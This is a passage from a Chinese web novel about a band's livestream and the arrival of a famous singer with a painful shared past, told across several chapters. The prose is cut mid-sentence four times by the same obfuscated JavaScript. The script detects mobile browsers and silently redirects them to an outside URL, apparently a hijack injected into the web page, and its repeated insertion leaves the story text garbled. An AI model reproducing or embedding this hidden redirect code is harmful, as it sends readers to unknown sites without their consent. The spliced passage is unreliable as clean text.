燃陨乐队的吉他手——楚澄,外号橙子。 她依旧披着那一头染成海王红的长卷发,没有经过任何打理,随意披散在肩头,搭配着进攻性极强的浓妆,再加之一米八的身高,便如同一头乱毛的狮子,给人一种莫名的压迫感。 扛着摄像机的人毫无准备,竟被吓得退后一步。 与此同时,直播间的弹幕也被拉扯回正题。 【哈哈哈,摄像被楚澄吓到了】 【我橙子姐就是帅,她这身高比好多男性都高了吧】 【橙子是不是又睡着了?这衣服怎么又皱成这样了?】 好像是能听到弹幕一般,楚澄一边打着哈欠,一边挠头抱怨:“你们怎么来得那么慢?我都睡醒两回了。” 本就乱蓬蓬的头发被挠得更乱。 摄像不知如何回答,幸好旁边的导演及时接话,打着哈哈回答:“路上出了点意外,” 她语气一转,又道:“实在抱歉,让你们久等了。” 楚澄还有点迷糊,不知道该不该继续问下去,只是重重点了点脑袋,就将房门彻底拉开,自己避到最旁边。 摄像连忙踏入里头,镜头还没有寻到下一个目标,就先被一声鼓声吸引,下意识就转向最角落的漆黑架子鼓。 鼓手已经落座,自顾自低着脑袋,手中鼓棒一甩,在半空中转了圈后,又稳稳落在虎口,露出的手臂纹着繁琐花纹,被肌肉撑得微微鼓起。 导演笑着朝她打招呼:“小野还在练习啊?” 况野闻声抬头,露出一双桀骜眉眼,拿着鼓棒招了招手,表示回应。 在场这几人里,数她配饰最多,左右耳都有三个环,脖颈带着铃铛皮项圈,手腕上的做旧藏文银手镯摇摇晃晃,手上还戴了三个戒指,就算是坐在角落里,也十分惹眼。 弹幕随着涌来,将整片屏幕占据。 【啊啊啊,小野太帅了】 【小野别打鼓了,打我打我】 【燃陨里最有态度的一定是况野,不服来辩!】 导演斜眼一看,角落的在线人数以达到六万,整颗心终于可以放下。 摄像转了转方向,却只发现一个无人的键盘立在那儿。 这人去哪里了…… 众人还没有来得及疑惑,便听到侧边突然传来一声痛呼。 镜头瞬间大幅度扭转,扫向客厅角落。 楚澄不知何时已经走了进来,放着之前的椅子不坐,愣是要和许风扰挤起懒人沙发。 可怜那懒人沙发本就小,从设计到出厂后,都被标明了仅容一人使用,而许风扰本就身长腿长,平常自己挤在里头,都显得委委屈屈的,更何况是楚澄这种一米八的红毛狮子? 懒人沙发发出咿呀一声,像是脆弱骨架最后的哀鸣。 “起开,”许风扰试图挣扎,一边伸手想要推开楚澄,一边还得伸出另一只手杵着地毯,以免被挤下去,搭配着她还未痊愈的苍白面色,显得越发可怜。 楚澄倒还有一丁点良心,没把许风扰彻底挤下去,但也没起身,就往旁边挪了一点。 没什么作用,就是让两人越发难受地挤在里头 但她心里不觉愧疚,谁叫许风扰过分,放眼望去,那么大个屋子就五个个椅子,三个高凳丢客厅,一个高凳摆厨房,唯有一个懒人沙发是软的,能让人舒服躺一下,她不和许风扰挤,和谁挤? 她两这一闹腾,立马让弹幕转了风向。 【乘风好甜!】 【啊啊啊,我就说我磕的CP是真的!】 【那么多凳子还要挤在一块,医生给我来一针胰岛素,我要甜晕过去了】 许风扰不知他们在想什么,不甘心地挣了挣,却被压得更紧,难受得不行,无奈深呼吸了一口。 这次感冒实在磨人,她直到现在都是有气无力的,若不是今儿有事,还得在床上躺一天,如今只能强撑着翻出一件绸缎衬衫穿上,努力正式一点。 可无意扣错的扣子,却让这件衣衫歪斜着,露出一大片锁骨,不仅没有正经半分,反倒显得越发疲懒虚弱。 有眼尖的CP粉早已注意到,当即打出一大长段脑补。 【大家快看衬衫,这衣服怎么成这样了……难不成刚刚发生了点什么……】 【前面你的意思是……哎,我的手机屏幕怎么突然就黄了】 【怪不得橙子那么黏糊,原来是被打扰了,嘿嘿嘿】 【我人污,我先说,嘿嘿嘿】 嘿嘿嘿三个字瞬间将屏幕占领。 导演见状,不仅没有阻拦,竟主动开口,用怀念的寒暄语气道:“你们两个的关系还是那么好啊。” 对面那两人不知情况,也不会反驳,除好友关系外,两个人还是同一个乐队的队友,怎么会在明面上说两人关系不行。 楚澄眼睛一弯,给了个大笑脸。 许风扰撇了撇嘴,无声默认。 这让弹幕磕得更起劲,全在刷乘风。 与此同时,车厢里头的女人捏紧了手机。 按照节目流程,她们还得再等一段时间,让节目组与乐队再聊几句,做一些简单互动小游戏。 方才那么着急赶来,是担忧柳听颂的妆造,没想到这人早早就准备好,于是这段时间就这样被空出来。 旁边的小助理也在看节目,无意识抬手,搓了搓袖子下的手臂,不知是不是车里空调开得太低的缘故,莫名觉得冷,让她鸡皮疙瘩都冒出来了。 她偏头看向旁边,想问问她姐冷不冷,需不需要把空调调上来些。 可这人先一步开口,问:“梨子,乘风CP是?” 小助理姓黎,大家都喊她梨子。 听到柳听颂的话,她并未多想,只当她姐等得无聊,看着一连串的乘风,产生了好奇心。 她当即将手机打开,熟练地将超话里点,紧接着就递到柳听颂面前。 她大大咧咧解释道:“乘风是燃陨乐队的大势CP之一,” “之一?”柳听颂突然出声,同时手在屏幕滑动,将一张张合照往上划。 “对啊,现在人挺爱磕CP的,林黛玉和伏地魔都能凑一块,”梨子不知想到什么,嘿嘿笑了下,又说:“更别说一个乐队里的队友。” 柳听颂皱了皱眉,视线停在其中一张照片上。 大抵是在某一场音乐节演出,细雨斜落如网,舞台底下是层层叠叠的粉丝们,高举的红色荧光棒汇成红海,映在舞台之上。 许风扰与楚澄相对而站,吉他与贝斯被一同弹响,被淋湿的发丝凌乱,一人仰头,一人低头,眉眼是相同的肆意,都在大笑,十分畅快的模样。 梨子余光瞥见她表情,还以为柳听颂不大能解释这种事,连忙解释道:“现在人都这样,就喜欢磕CP,那些个演员、歌手都会刻意卖个腐,节目组也愿意配合,流量趋势嘛。” 柳听颂“嗯”了声,听不出喜怒,还在盯着那照片看。 不知是不是受了超话的影响,当真看出些许相配的意思。 梨子摸不清她的态度,只能干哈哈几声,道:“不过她们是她们,姐你肯定不用,没必要弄这些虚的。” 柳听颂又答应了声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368277|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意将话题带回来:“你刚刚说还有其他CP?” 梨子眼睛一亮,当即就道:“野风,就是燃陨主唱和那个打架子鼓的。” 她兴致勃勃道:“我觉得她两可配了,比乘风好磕。” 她伸手去碰手机,立马换了个超话。 柳听颂抬眼一看,这人还有个六级头衔。 像是遇到可以吐槽对象,梨子嚷嚷道:“她们老喊什么体型差,吉他手就该和贝斯手在一起,我觉得都是乱磕,没看见许风扰多嫌弃那只红毛狮子吗?” “她喝过的水,许风扰都不碰,哪里像我们野风。” 柳听颂停顿了下,下意识就问:“她喝况野喝过水?” “那也没,”梨子笑眯眯继续:“但是小野经常给阿风拧瓶盖啊。” 柳听颂:“……” 柳听颂:“你好像挺喜欢她们的。” 梨子瞧着对方好像不算抵触,甚至十分愿意了解的模样,心里的大石头顿时落了地,立马解释道:“我之前不大关注这些,是我朋友总提起,我就寻思着去看看。” “一来二去就磕上了。” “不过喜欢是喜欢,工作归工作,”梨子举起手发誓:“我肯定不会把你的号码告诉别人的。” “而、而且我还是觉得咱们应该去拍摄……”梨子眼睛一转,可怜巴巴地看着对面。 CP虽然好磕,可是经纪人的怒火更可怕,她都不敢想等会要经历什么…… 梨子默默抖了一抖。 柳听颂垂下眼,继续翻着超话,看似不经意地问:“还有哪几个CP,她们不是还有个键盘手吗?” “还有一个野橙,不过那个很少有人磕,大家都觉得小野和橙子没有CP感。” “键盘手不行,她早就结婚了。” “结婚?”柳听颂惊了下。 梨子理所当然道:“对啊,结婚,好像连孩子都有了……” 直播那边又有声音传来,躲在房间打电话的人终于走了出来。 “抱歉抱歉,我家那兔崽子粘人的很,刚刚哭着闹着要找我。” 随着声音看去,那人穿着浅色牛仔外套,内搭白色背心,挑染的发丝被梳成马尾,过分白净的面容显得格外稚嫩,像个刚出校门的大学生。 已经排排坐好的三人冲她招了招手,示意她过来。 张导没有半点不悦,笑呵呵就道:“鹿南出来了?你家那闺女快三岁了?” “这个年纪的小孩确实粘人得很。” 纪鹿南笑了笑,没有多说。 张导也不在意,心里还想着直播,又转头看向另一边,喊道:“这下人齐了,你们和粉丝们打个招呼吧。” 纪鹿南踩着高脚凳一坐,镜头瞬间落在她身上。 她抬起手,眼睛一弯就笑道:“大家好,我是纪鹿南,燃陨乐队的键盘手。” 她咬重字句,补充道:“已婚有娃。” 旁边三人顿时噫了声,默契骂道:“老婆奴!” 纪鹿南不以为耻,反而笑得越发开心。 旁边的况野实在看不下去,硬邦邦打断:“况野,燃陨乐队鼓手。” 旁边的楚澄嫌她太冷漠,还抓住她全是银戒的左手,十分僵硬地挥了挥。 “大家好,我是橙子,燃陨的吉他手,”楚澄声音高扬。 许风扰懒懒抬眼,有气无力道:“我是燃陨乐队的主唱兼贝斯手,许风扰。” 下一秒,四个人默契齐声喊道:“大家好,我们是燃陨乐队!” 和无数次站在在舞台上一样,高声喊出的乐队名在狭窄空间环绕,同时间内,直播界面只剩下燃陨两字,是无声的高喊。 9. 第九章 “燃陨!” 车厢内,梨子忍不住握拳一挥,小声跟着重复一遍,脸上的兴奋不加掩饰。 直到张导的声音再一次响起,她才回过神来,想起旁边的柳听颂。 她尴尬地吐了吐舌,急忙补充道:“鹿南在燃陨乐队刚有点名气的时候,就公开宣布自己要结婚了,结婚对象还是个女孩子。” “这事在当时闹得挺大的。” “有人说她结婚对象是个上市公司的老板,骂纪鹿南傍大腿。” “燃陨当时受到不少波及,但她们几个感情好,还在V博帮纪鹿南发声,好像还参加了她的婚礼。” “在国外领的证,没两年就通过科技手段要了孩子。” “纪鹿南有一次还抱着孩子去了音乐节。” 梨子努力在回忆中翻找,柳听颂时不时回应一声,手机仍停留在超话界面。 大抵是每一个CP粉都会有的特殊本领,每一次对视、触碰都被按上特殊的含义,哪怕是什么都不懂的旁观者,也能从慢放的剪辑视频中,品出缱绻情意。 看了许久视频与照片的柳听颂,不知是什么滋味,眼帘颤了又颤,却一直在往下翻。 那边的直播还在继续,在简单寒暄后,张导准备了个小游戏。 游戏不算难,只要在张导说一个问题后,成员互相指认谁是最符合这个答案的人。 梨子看得哈哈大笑,将细节重复提起:“姐你看,小野是不是特别喜欢阿风?” “我就说,燃陨最欢迎的成员必须是阿风。” “小野刚刚又偏头看阿风了!” “她们在乱磕什么?阿风明明是在转头看小野!她还眨眼了!” 柳听颂抬起头,又瞧见直播界面。 许风扰刚好被三人指着,试图狡辩却被三人笑着揭穿,气得这人握拳,给了旁边楚澄一拳。 楚澄笑得肚子疼,不仅不生气,还往许风扰身上倒。 两人就这样贴在一块,看起来亲密极了。 梨子还想再说,却瞧见工作人员过来敲窗。 时间快到了,让她们提前下车、赶往门外准备。 柳听颂收回视线,下意识看了眼车窗,像在借着玻璃细细查看,直到确认妆容无损,才下车走向那处、早已对自己下了禁令的楼房。 屋里的气氛热烈,经前几轮直播练习,张导已完全知晓该如何调动气氛,久别的生疏在笑语中荡然无存,就连病恹恹的许风扰都多了几分笑意。 此刻的在线人数已达四十一万,打破了自节目开播以来的最高记录,而且还有不断上升的趋势。 张导收回视线,即便早已预料,但也按捺不住雀跃的情绪。 要知道,自直播这形式出现以来,同时在线人数的最高记录是395.3万人,还是一个极具盛名的歌坛前辈,在隐退许久后,第一次出现在大众面前。 引得许多连直播是什么都不知道的阿姨、叔叔辈,连夜下载APP,直接往直播间挤,让服务器都崩溃了两回。 而燃陨作为一个新起的新秀乐队,能达到这种地步,已实属惊喜。 再说了,张青颖还有一个特别嘉宾。 张导想到这儿,顿时深吸了一口气,小弧度转身,眼神示意下属。 对方点了点头,表示明白。 张导当即站起来,笑道:“请大家和我一起欢迎今天的特别嘉宾!” 她声音高扬,甚至连最后一个字都破了音。 燃陨四人不禁朝那边看去,就连直播间都安静一瞬。 直到看见房门打开,那人缓步踏入。 【天啊天啊,我没看错吧?!】 【这是柳天后?!!!】 【我的老天奶,这破节目居然能请来柳听颂,是我疯了还是节目组疯了!】 弹幕以一种令人咋舌的速度冒出,层层叠加,甚至看不清底下屏幕。 【啊啊啊我女神出现了!】 【妈妈妈妈我要晕了】 【姐姐今天好美,我舔我舔】 燃陨四人也被这特殊的嘉宾惊得站在原地,余光下意识看向许风扰。 那人也是愣住,残留的笑意消散,眼眸中的情绪变得晦涩难辨。 来人收回视线,看向镜头,嘴角勾起淡淡弧度,轻声道:“大家好,我是柳听颂。” 即便早就知晓,张导还是有些激动,自己竟真的能邀请到对方,声音忍不住发颤,说:“让我们欢迎柳天后!” 众人如梦初醒,纷纷鼓起掌。 弹幕同样,黄色手掌的表情将屏幕掩盖。 张导用手搓了搓裤子侧边,慌慌张张道:“您、您坐……” 她声音一顿,突然想起来这房子里没几个能坐的凳子,之前她还拿这事打趣许风扰。 许风扰还解释说:这是排练的地方,不需要能舒舒服服坐着、躺着的东西。 张导听得连连点头,还夸她们努力勤奋,这下倒好,柳听颂没地方坐了! 她余光瞥向那个懒人沙发,若是让柳听颂坐那儿,岂不是让前辈矮后辈一截? 而且镜头也不好摆,拍燃陨的话,就只能留下柳听颂的一个脑袋,要是拍柳听颂,那直播的主角怎么办? 她的冷汗刷的一下就冒出来了,脑袋一片空白。 ——咿呀! 正当这时,突然响起尖锐声音,是高脚凳在地上滑响。 只见许风扰突然从凳子跳下,往之前的矮人沙发里一躺。 众人齐刷刷往她那边看,脑子里蹦出一句:这祖宗又咋了? 不怪她们这样想,别忘了许风扰在外头的风评可不咋地,恃才傲物的代言人呢。 之前拍乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368278|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队选秀的时候,这祖宗就不是个能安分的主。 在这次直播之前,张导还特得开了个小会,让大家小心一点,千万别惹恼这祖宗,否则这直播都不知道该怎么继续下去。 但今儿许风扰的态度太好,让她们都放下了警惕,却没想到这人…… 张导张了张嘴,刚想说话,便听到那人抢先一步开口:“坐累了,腰疼。” 理直气壮的很。 张导也算是个见过大风大浪的人了,连忙打哈哈道:“阿风是不是难受了?橙子刚刚不是说她高烧发到39°吗?” “是我们考虑不当,一直没让你休息。” 她瞥了眼屏幕,没看清几个字,又火急火燎接道:“你先躺在这儿歇一会。” 张导转身又向柳听颂,说:“这孩子生病难受,您别介意,先坐这吧。” 她伸手示意许风扰之前的位置。 柳听颂微微点头,不着痕迹地扫了旁边一眼。 那人偏头躲开,只留给她一个侧脸。 没直接赶走她,也不肯理她,故意避着柳听颂。 柳听颂轻轻吐了口气,真坐到许风扰之前的位置。 旁边的三人瞬间僵硬住,都知道她和许风扰那些事,尴尬得很,完全不知如何应对,余光瞥一眼柳听颂,又朝许风扰看,恨不得将手足无措这四个字写在脸上。 可惜没有人能看出来,都以为她们是因为看到大前辈而拘束起来,弹幕一半还在惊讶,一半已经开始笑她们了。 张导先是擦了擦额头的冷汗,紧接着一拍手,再一次快速进入状态。 “很感谢听颂能够赶来,成为我们这一次直播的特别嘉宾,请大家再一次鼓掌欢迎。” 众人再一次应和。 柳听颂点头含笑,笑意不及眼底,但也算温和。 陷在矮人沙发的人没有理会,仗着没有镜头,一点都不肯装。 张导有意打趣,调动气氛,看着燃陨其他人就笑:“你们几个也太紧张了吧!是不是因为看见偶像了?放松点,听颂又不会吃人。” 纪鹿南:“……” 况野:“……” 楚澄:“……” 张导见没有人接茬,又道:“要不你们先给听颂打个招呼?” 三人:“……” 这事理所应当,根本没有拒绝的理由。 纪鹿南咬了咬牙,喊了一声:“听颂姐。” 况野僵着个脸,十分生硬道:“听、听颂姐。” 楚澄嘴里那个“”嫂子”差点憋不住,愣是拐了弯,才跟着喊道:“听颂姐。” 镜头顺着过去,又落在许风扰身上。 她微微仰着头,碧色眼眸中没个焦距,像在看着柳听颂,又好像落到了别处。 她之前怎么叫柳听颂来着? 老师…… 10. 第十章 老师…… 这个称呼不带任何旖旎,甚至掺着几分仰慕与希冀,那时的她当真以为母亲已经松口、妥协。 只可惜…… 眼眸颤动一瞬,思绪落到更远处。 “她让你来接我的?”站在警察局外的少女兴冲冲地开口询问。 她的眉眼还带着残留倦意,宽大短袖满是褶皱,袖口处还破了个口子,不知是之前打架,还是自己意外勾出的,看起来有些狼狈。 可她的表情却雀跃,澄澈的碧色眼眸如宝石般耀眼,倒映着对面女人的模样。 柳听颂有点僵硬,不知是因为初见的生疏,还是旁的,借着帽檐阴影遮掩神色,只含糊一点头。 若是往日的许风扰,说不定可以察觉到些许异样。 可那时的她刚经历一场打架风波,又在警察局里蹲了半夜,大起大落后,整个人都昏昏沉沉的,根本无法细想,直接就掉入欣喜情绪里。 她想的很简单,觉得这是母亲向她服软的信号,不然为什么不叫其他人接她,偏让公司最炙手可热的摇钱树来寻她? 这可是柳听颂,二十几岁就被封作乐坛天后的人。 母亲能让自己和她接触,就是默许她踏入娱乐圈,可以学音乐了。 期盼已久的梦想终于被允许,许风扰竟有些飘飘然,连踏在地面的脚步都轻飘飘的,像喝了酒后,踩在软绵绵的棉花里。 她一边走一边问:“真的是她让你来的?” 许风扰忍不住再一次确认,话音刚落又开始傻笑,好像在问自己为什么会问出这样傻的问题,这可是柳听颂?! 若不是母亲示意,柳听颂怎么会为一个完全不认识的人跑那么一遭。 “真是麻烦你了,”少女挠了挠脑袋,羞窘解释:“其实、其实这次的事就是个意外,我是被迫掺和进去的。” 柳听颂又一点头,不知有没有听进去。 独留少女一人自言自语,不知道该用什么方式缓解激动心情,所以话一串接着一串往外冒。 “我妈总想着我继承她的事业,可我实在不喜欢这些。” “她当初不也是忤逆了外公外婆,坚持自己的梦想吗?” “我只是想做我喜欢的事情,和她一样。” “我是真的很喜欢玩音乐,”少女仰起头,此时的圆月皎洁明亮,恰好洒落在她稚嫩面容,脸上写满相同的倔强与固执。 柳听颂脚步一顿,晦涩复杂的视线停留在对方身上。 夜风一阵接着一阵,吹不散闷热空气,反倒让人生出一层黏腻的汗,十分难耐。 巷子里的路灯老旧,时不时冒出滋啦滋啦的噪音,暗淡昏黄的灯光也断断续续的闪烁,照不了亮红砖下的漆黑。 柳听颂不知在想什么,嘴唇碾磨,又没能开口。 许风扰不懂她的犹豫,只觉得这人和荧幕上一般清冷寡言,像是朦朦胧胧的月光,即便站在她身侧,也有一种飘忽的不真实感。 不过,许风扰转念一想,又觉得理所应当,对方是何等人物,能在百忙之中来寻自己一趟,就已是极不可思议的事情。 想到这儿,许风扰眉眼又舒展开,扬起轻快的笑:“我们现在去哪,是去找我妈吗?” 她想着,既然母亲已经松口,她就该趁热打铁,直接把专业转走,如果不行,哪怕再读一年高三,她也不想学什么商业,实在没有一点喜欢。 许久未说话的柳听颂,终于开口,却不是许风扰想象中的答案。 她说:“先回去。” 不知为什么,她的声音暗哑,发声更是艰难,像是咽下了什么很为难的话。 许风扰愣了下,没能反应过来对方在说什么,更别说分清对方语句的差别。 柳听颂只好再一次重复:“你先跟我回去。” 声音已恢复正常,完全看不出异样。 她补充道:“你母亲让我过来,先和你住上一段时间。” 这是什么安排? 许风扰彻底懵住,不明白母亲在做些什么,先不说她已经是成年的大学生,有着独立生活的能力,完全不需要一个“保姆”的看护,再说她怎么舍得把柳听颂丢来自己这里? 说直白些,许母就是一个不折不扣的事业狂,若把许风扰与事业摆在一块,她必然会选择事业,不然也不会一直将许风扰丢给外公、外婆照看。 而柳听颂是她旗下最有价值的艺人,她不指着柳听颂赚钱,要她来带小孩? 是许母疯了?还是她许风扰还在做梦? 许风扰用力甩了甩脑袋,寻思着是不是之前被人打到了脑袋,自己却没注意到,现在睡出幻觉来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368279|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可柳听颂却没解释,竟率先向前走。 还在疑惑不解的许风扰,不知这个梦什么时候醒,只能急忙大步追赶。 地上的影子被拉长,从一前一后变作并肩而行,不知何时又粘在一块,最后被黑夜侵蚀,被风一吹就彻底消失不见。 自那夜起,许风扰搬回了原来许母安排的房子,柳听颂以家教的名义,与她住在一块,让许风扰唤她老师。 也是从那段时间开始,乐坛逐渐传出柳听颂要隐退的消息,当事人与公司皆有所听闻,却没有任何一方站出来解释,仍由传言扩展。 回忆消散,落入现实中。 虚晃的眼眸重新有了焦距,分明半躺在柔软沙发中,她的脊背却挺直,手握成拳,处于一种紧绷的防备状态,像是个被伤害过的小兽,满是警惕与提防。 对面的柳听颂抿了抿唇,还没有来得及说些什么圆场。 那人就偏头看向镜头,笑意不及眼底,只剩下尖锐的冷漠,一字一句道:“柳前辈,你好。” 房间内气氛一滞,之前的愉悦气氛荡然无存,明眼人都能瞧出许风扰对柳听颂的排斥。 张导表情一慌,连忙上前一步,扯着摄像的手腕,就将镜头一下子移开,哈哈假笑道:“看得出来,大家都很喜欢听颂这个大前辈,一个个都紧张得说不出话了。” “既然已经打过招呼,我们就继续下一个环节吧,”她十分生硬地继续。 纪鹿南三人连忙应和,配合着她转移话题。 因反应速度极快的缘故,虽然有一些观众察觉出不对,却没能来得及思考和发弹幕,竟被这样强行带过去。 不过几分钟,V博热搜榜上骤然多了柳听颂直播的词条。 直播间的人数再一次疯涨,从不同渠道得知消息的人,拼命往直播间中挤,在线人数达到了恐怖的百万人。 可柳听颂却不曾在意,眼眸低垂着,不知在想些什么,直到张导连喊了好几声。 她才恍惚回神,露出一丝疑惑表情。 “听颂是不是刚回国,还没有调好作息?你的行程确实太赶了。” 张导帮她找了个借口,继而又一次重复问道:“现在是网友提问环节,大家想知道你为什么会突然回国?” 旁边闭眼假寐的许风扰,眼帘颤动了下。 11. 第十一章 “为什么会突然回国……” 许风扰没有听到这个问题的答案,在柳听颂犹豫前,就起身往卫生间走。 不想听,也没兴趣理会。 其他人没拦着,虽然直播的主角是燃陨乐队,可现在的关注点都在柳听颂身上,再加上怕她突然发疯的缘故,就这样放她离场。 随着一声响,门被关上。 许风扰靠在洗手台前,垂落的发丝遮住大半眉眼,但还是难掩满身的沉郁。 杵在台面的手指节微曲,便更显得薄皮包裹下的骨骼明锐,每个骨节都像带着刺似的,想要外冒,就连青筋都微微鼓起。 可心里头还是有点顾忌,没办法像之前那样逃避,毕竟这是今年少有的几个团体邀请,她不愿意搞砸。 想到这儿,许风扰面色越僵,烦闷更甚。 从去年年底开始,经纪人那边就有了想让她单飞的想法。 现在明眼人都能瞧得出来,燃陨乐队是火,但许风扰的商业价值更高,一整个乐队加在一块都抵不过一个她。 许风扰也曾疑惑过,按理是她这种性格,应当是最不受欢迎的,就差把脾气差写在脸上了,可现在人好像就喜欢塌成一片的废墟。 许风扰越闹腾,死忠粉就越多,最后她一个玩音乐、组乐队的,愣是多了什么颜粉、性格粉,怎么就不能好好听歌呢? 经纪人也不管那么多,情义是有,但利益还是最重要的,见许风扰火,就给她接了很多单人的活。 于是,一个好端端的乐队,愣是半年没有一场演出,最后还是许风扰紧赶慢赶,挤出时间往酒吧那边跑,慌慌忙忙地聚了一次。 许风扰吐出一口闷气,又想起前几日在飞机场的争吵。 既然已经无法克制,彻底暴露到明面,那就说明私底下已过无数次争吵。 她不愿意单飞,更想以乐队形式继续下去。 所以即便这次生病严重,也强撑着起来,甚至头一次松口,允许节目组到她家里来拍摄。 她其实挺不喜欢这样的,这屋子算是她的私人领地,从装修好后就没几个人能过来,只有极其熟悉的人才能知晓,看那些凳子也知道,从一开始就没打算过让多少人进屋,而且…… 许风扰揉了揉眉心,节目组那边再三保证过,会请人过来打扫一遍,可她还是觉得不舒服,想着再找人消毒一遍。 她有点洁癖,从小和外婆外公待习惯了,那两人都是医生,耳濡目染下,许风扰也跟着变得麻烦起来。 她躲在这儿想来想去,思绪一旦想要飘到某处,就被会强行拉扯回来,转移到其他地方。 直到外头脚步声响,才将她这种自欺欺人的逃避方式打断。 来人是楚澄,刚进来就反手锁上门,小声道:“我和他们说过来上个厕所,咋样?你还成不?” 许风扰摆了摆手,表示没事,不怎么想开口说话。 楚澄拿眼瞅她,想说些什么又没说出口,只道:“你可以再歇一会,外头有我们拖着,就说你又有点发烧了。” 许风扰点了点头,依旧是那个样子,没缓和一点。 楚澄看得直叹气,对于这个难得团体节目,大家刚开始都挺高兴的,没想到会突然冒出这一遭。 她又瞅了许风扰一眼,不知道该什么劝,只能憋出一句:“那你再歇一会,我先出去看着。” 她不好得多留,怕等会有人拿这个挑事,说柳天后一个大前辈特地赶来给燃陨当嘉宾,燃陨却不领情,一下子就跑了一半人,以许风扰的热搜体质,指不定要被骂多久。 许风扰点了点头,楚澄已转身要走,她又突然喊道:“等会。” “咋了?”楚澄有些迷茫。 许风扰顿了下,才道:“你带烟了吗?” 楚澄瞧了她一眼,继而才往兜里一掏,将烟盒丢给她。 ——嘭 卫生间的门又一次合上。 许风扰低着脑袋,看着手里的烟盒。 人格外烦闷难受的时候,就会想要找点事情做,但又不能做什么劳累的活,像抽烟喝酒这样的事情就正正好,不用动脑子,还能借着烟酒将情绪压一压。 许风扰刚失恋那会,就特别想抽烟,可一想到会影响嗓子,愣是强压了下来。 最后实在难受,竟嚼起烟丝。 楚澄就是知道她也这个怪癖,所以才丢了烟盒没给打火机。 门外的声音嘈杂,不知说到了什么,冒出一阵笑声。 手里的烟盒被捏皱,许久都没有打开。 事实上,就连这个缓解烦躁的怪癖,许风扰都已经戒掉许久,听人说,这样容易得口腔癌,倒不是惜命,还是怕影响到唱歌。 许风扰重重吐出一口浊气,将烟盒往旁边一丢,竟只用冷水洗了把脸。 直播间内,柳听颂在回答了几个问题后,便不动声色地将话题转回燃陨。 张导虽然有些遗憾,但是有一丝理智存在,记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368280|183920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次直播的主角是燃陨乐队,而不是特别嘉宾。 于是,她又挑了几个弹幕问题,依次询问楚澄等人。 再等片刻,许风扰从卫生间走出,再一次坐回矮人沙发。 柳听颂余光一瞥,注意到她湿透的衬衫领口,眉头微微一皱,片刻又松开。 张导也注意到她回来,推了推摄像,紧接着就转头笑道:“这边弹幕有一个问题要问风扰。” 许风扰下意识抬起脑袋,许是方才没注意,让水泼进了眼睛,以至于眼眶周围都泛起红,再加之被打湿的发、凌乱的衬衫领口,竟让她多了一丝病弱的楚楚。 “啊?”显然还没有进入状态的许风扰,有些茫然。 之前还全是柳听颂的弹幕,终于发生改变。 【我承认刚刚骂许风扰摆脸子的事,确实是我不对,她明明就是不舒服才出去的,我是颜狗我先滑跪】 【啊啊啊,好可爱的小狗让妈妈亲亲】 以上是颜粉的疯狂。 【哎?就我注意到刚刚橙子离开了一会,是去找阿风了吧?】 【我刚刚就看见了,不对劲,怎么阿风去卫生间,橙子也跟着去,阿风还洗了把脸,难不成……】 这些是CP粉的猜测。 杂乱的弹幕占满屏幕。 柳听颂将纸巾递向旁边,低声道:“擦一擦。” 镜头面前,许风扰不好不接,只能压下性子,说了声:“谢谢。” 接过之后往脸上胡乱擦了擦,就往旁边垃圾桶丢,完全没在意干净了没有。 而在这时,却有弹幕冒出。 【哈哈哈哈哈,天后就是天后,什么把戏没见过,许风扰是不甘心自己被抢了风头,特地跑去卫生间泼成这样的吧?】 这条刚出现,马上就有人发【没想到许风扰那么绿茶】 【还是柳听颂厉害,一眼看破绿茶,表面是递纸关心,实际在警告对方不要再折腾了】 后头还有好些附和的话,一时间竟有硝烟味弥漫开来。 本以为会是一堆好话的张导,面色一黑,察觉到些许不对,感觉从一开始就有人在刻意引导,想要引起观众争吵,可现在还在直播,她无法追究。 于是,她直接抛弃上一个问题,当即问道:“听颂好像很关心风扰啊。” 想要借这个问题,打破弹幕的阴阳怪气。 可对面的人却僵硬住。 楚澄三人瞪大了眼,齐刷刷往那边看。 12. 第十二章 被提问的人没有想好措辞,反倒是提及的人主动开口。 